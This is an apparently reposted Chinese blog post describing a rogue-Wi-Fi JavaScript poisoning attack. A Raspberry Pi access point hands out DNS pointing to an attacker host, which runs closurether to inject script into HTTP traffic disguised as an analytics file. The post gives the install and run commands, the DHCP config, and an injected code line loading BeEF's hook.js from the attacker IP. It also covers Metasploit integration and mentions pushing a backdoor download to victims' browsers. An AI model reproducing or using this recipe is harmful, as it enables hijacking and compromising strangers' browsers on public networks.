JS投毒的另一种尝试

半个月前看了‍‍‍EtherDream写的那篇wifi流量劫持和JS投毒,随手就在公司实验室里折腾了一下,头一次接触这个领域,感觉挺新鲜的。然后又看到[email protected]写了一篇《内网DNS投毒技术劫持会话》,我决定把我做的东西也分享一下。

[[120006]]

0×01 攻击思路

1、用树莓派建立一个AP,诱使别人过来连接。

2、在树莓派里,设定DNS,指向一台代理主机(其实就是中间人)。

3、在代理主机上运行closurether,进行JS投毒。

4、投毒可以有很多种,closurether的原作者是设计了一个可以截获用户的登陆时候输入的用户名和密码,但是那个链接已经失效了,自己又不会写js,所以就改用别的思路。这里我选择了BeEF框架进行配合,在流量中插入hook.js。

5、既然BeEF可以配合MSF来攻击浏览器,那这里自然也少不了MSF的戏份。

0×02 工具准备

EDUP 迷你USB无线网卡 免驱动 (RTL8188CUS)

Raspberry Pi,系统镜像是Raspbian

团队的Summer建议我用TP-Link TL-WR703N 刷一个openWRT,便携而且还可以实现很多其他的功能。

这个想法还没有去尝试,openWRT刷进路由以后,路由就没有任何空间来安装其他的东西了。

0×03 改造树莓派

首先让树莓派运行起来,玩过的人都知道怎么弄,下载镜像,写入镜像,不做赘述。

其次是让树莓派作为一个路由器运行起来

详细的可以看这里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/

这是使用树莓派建立无线AP的最早一篇文章。这里讲的非常详细,包括原理和具体配置都列举出来了,照着一步步坐下来,不会出太大意外。

这里伪造的wifi是我以前学调酒的那间酒吧用的,我师父是Lavazza的顶级咖啡师。不过那家酒吧关门了……在南京的童鞋如果有兴趣,还是有地方可以让我调酒的。

0×04建立中间人

在JS缓存投毒的文章中,作者给了非常详细的原理解释,并给出了实现代码。

我测试的平台是Mac OS X 10.0(黑苹果),安装简易,没有发生任何状况。

首先需要安装node.js

然后安装closurether

npm install -g closurether

运行closurether

closurether

closurether运行成功的话,就会看到下面的信息(linux下运行closurether需要的权限比较高,windows不能开启其他占用80、443端口的服务)

sudo closurether

Password:

[SYS] local ip: 172.16.6.37

[DNS] running 0.0.0.0:53

[WEB] listening 0.0.0.0:80

[WEB] listening 0.0.0.0:443

这个时候如果设置浏览器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http请求

如果你这么做了,不妨在浏览器中查看源码,你会看到源码中已经被植入了一个script标签,这个就是被closurether植入的攻击代码。

为了伪装,把地址写成了http://10086.cn/js10086/201306301200.js

但实际上,10086.cn上可不会有这么个文件….好一手栽赃嫁祸,我是伪装成了google-analytis的站点分析脚本

使用的攻击脚本和伪装都可以在config.json文件中修改

0×05修改DNS

依然已经准备了代理(中间人),那么就需要让流量指向代理,前面说设置浏览器代理可以实现,但最理想的还是作者提供的修改DNS

修改DNS,指向代理服务器,那么所有使用这个wifi上网的人解析域名就都解析到了代理服务器,DNS解析之后,再把http流量也指向代理服务器,就顺理成章的使closurether成为了中间人

在树莓派的DHCP中设置:

subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.1 192.168.1.254;
  option routers 192.168.1.1;
  option domain-name-servers 172.16.6.37;
  interface wlan0;
}

172.16.6.37也就是我本机

那么这个时候,连接到这个wifi的设备进行DNS解析的时候,得到的结果都是172.16.6.37

然后,其他的请求也就都指向了代理。

PS:closurether作者考虑的很周到,js投毒只能针对http或https协议,如果是其他的协议,那么在第二次请求的时候就把真实的DNS请求结果反馈给客户端,这样就不会那么容易被发现了。

0X06 BeEF和MSF

别人的文章里比我写的要清楚,就不多说了

但是目前关于BeEF使用的文章还比较少,还在陆续的挖掘其中的功能。

主要是需要建立BeEF和MSF的协作

使用

msfconsole -r beef.rc

来建立一个MSF的XMLRPC服务,然后BeEF启动以后会自动调用

beef.rc的内容如下:

load xmlrpc ServerHost=<服务器IP> Pass=<密码> ServerType=Web

0×07 把毒药撒向天空,让它随风飘扬(此处应有反派出场的音乐)

closurether中做如下修改:

修改asset/inject/extern.js,在function中增加:

  1. var commandModuleStr = '<script src="http://172.16.6.37:3000/hook.js" type="text/javascript">// <![CDATA[  
  2. <\/script>';  
  3. document.write(commandModuleStr); 

http://172.16.6.37:3000/hook.js是BeEF的XSS脚本,理论上,这个脚本可以放在任何地方,也可以被closurether直接向流量中注入,还是因为不懂js,没有做过多的尝试。

然后,就等鱼上钩了

接下来就是如何利用BeEF和MSF去攻击浏览器的内容了。

按照closurether作者的思路,被投进去的js脚本会长期保存在用户的电脑里,时间又长有短。可能在未来的某一天,一台设备就突然上线了。

貌似用BeEF控制用户的浏览器去下载一个后门文件,也是可以的。

0×08小结

1、都是前人的东西,只不过组合了一下而已,没有任何穿创新,比较水。

2、hook.js对手机浏览器没有任何效果

3、MSF的漏洞库比较并没有想象中那么强大,想要一举拿下被投毒的电脑,没有几个0day估计是搞不定的

4、忽然对360清空浏览器缓存的功能感到很纠结……

5、用树莓派来实现这个功能,只是为了工作需要,经常出去做一些演讲,用这套设备效果会很好。实战中可能的问题就是,树莓派和中间人服务器,必须有一个能连接互联网。

6、树莓派上安装closurether也有些问题,还没做深入研究。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/134589.html<

(0)
运维的头像运维
上一篇2025-03-01 05:39
下一篇 2025-03-01 05:40

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注